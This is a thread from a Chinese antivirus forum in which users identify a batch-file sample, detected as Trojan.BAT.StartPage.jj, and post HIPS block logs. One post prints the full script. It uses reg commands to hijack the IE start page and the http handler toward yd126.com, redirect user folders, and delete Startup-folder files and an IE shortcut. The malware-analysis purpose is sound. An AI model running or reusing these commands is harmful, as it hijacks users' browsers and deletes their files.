求鉴定【瑞星杀到的】

显示全部楼层 · 发表于 2011-3-16 14:23:32

求鉴定【瑞星杀到的】

显示全部楼层 · 发表于 2011-3-16 14:28:19

本帖最后由 jayavira 于 2011-3-16 16:06 编辑

to eset

Hello,

windows.cmd - Trojan.BAT.StartPage.jj

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

-----------------
Best Regards,
Virus lab, China.

显示全部楼层 · 发表于 2011-3-16 14:37:02

jayavira 发表于 2011-3-16 14:28
只有avg和瑞星报警，误报的可能比较大啊

http://www.virustotal.com/file-scan/report.html?id=aa6810e7 ...

好像是个 CMD 命令

显示全部楼层 · 发表于 2011-3-16 15:02:10

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /f
规则: [应用程序组]●cx(禁放任何程序)w

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
规则: [应用程序组]●cx(禁放任何程序)w

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_USERs\.DEFAULT\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
规则: [应用程序组]●cx(禁放任何程序)w

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_USERs\S-1-5-18\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
规则: [应用程序组]●cx(禁放任何程序)w

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
规则: [应用程序组]●cx(禁放任何程序)w

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_CLASSES_ROOT\HTTP\shell\open\command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
规则: [应用程序组]●cx(禁放任何程序)w

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
规则: [应用程序组]●cx(禁放任何程序)w

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Favorites" /t REG_EXPAND_SZ /d "c:\Documents and Settings\Administrator\Favorites"
规则: [应用程序组]●cx(禁放任何程序)w

2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Personal" /t REG_EXPAND_SZ /d "c:\Documents and Settings\Administrator\My Documents"
规则: [应用程序组]●cx(禁放任何程序)w

显示全部楼层 · 发表于 2011-3-16 15:05:46

左手发表于 2011-3-16 15:02
2011-3-16 14:58:49 创建新进程阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system ...

乃是疯狂阻止派？

显示全部楼层 · 发表于 2011-3-16 15:06:47

金山卫士报安全。

显示全部楼层 · 发表于 2011-3-16 15:09:30

2011-03-16 15:09:50 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:50 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:50 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_USERs\.DEFAULT\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:50 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_USERs\S-1-5-18\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:50 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:50 修改注册表内容    操作:使用任务隔离区操作
进程路径:C:\WINDOWS\system32\reg.exe
注册表路径:HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
注册表名称:[Default]
触发规则:所有程序规则->CLSID项设置->*\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}*

2011-03-16 15:09:50 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_CLASSES_ROOT\HTTP\shell\open\command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:51 修改注册表内容    操作:使用任务隔离区操作
进程路径:C:\WINDOWS\system32\reg.exe
注册表路径:HKEY_CLASSES_ROOT\http\shell\open\command
注册表名称:[Default]
触发规则:所有程序规则->文件类型关联->HKEY_CLASSES_ROOT\*\command*

2011-03-16 15:09:51 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:51 修改注册表内容    操作:使用任务隔离区操作
进程路径:C:\WINDOWS\system32\reg.exe
注册表路径:HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
注册表名称:[Default]
触发规则:所有程序规则->CLSID项设置->*\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}*

2011-03-16 15:09:51 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Favorites" /t REG_EXPAND_SZ /d "c:\Documents and Settings\Administrator\Favorites"
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:51 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Personal" /t REG_EXPAND_SZ /d "c:\Documents and Settings\Administrator\My Documents"
触发规则:所有程序规则->系统程序设置->*\reg.exe

2011-03-16 15:09:51 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk
触发规则:应用程序规则->WINDOWS文件设置->%windir%\system32\cmd.exe->%SystemDrive%\*

显示全部楼层 · 发表于 2011-3-16 15:34:25

360卫士提示风险，MSE无视之

显示全部楼层 · 发表于 2011-3-16 15:38:46

@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /f
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
@reg add "HKEY_USERs\.DEFAULT\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
@reg add "HKEY_USERs\S-1-5-18\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.yd126.com?tn=999w7jtgjb/" /f
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
@reg add "HKEY_CLASSES_ROOT\HTTP\shell\open\command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
@reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.yd126.com?tn=999w7jtgjb/" /f
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Favorites" /t REG_EXPAND_SZ /d "c:\Documents and Settings\Administrator\Favorites"
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Personal" /t REG_EXPAND_SZ /d "c:\Documents and Settings\Administrator\My Documents"
del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk" /q /f

显示全部楼层 · 发表于 2011-3-16 15:59:35

N360暂无视

[病毒样本] 求鉴定【瑞星杀到的】

本帖子中包含更多资源

评分

浏览过的版块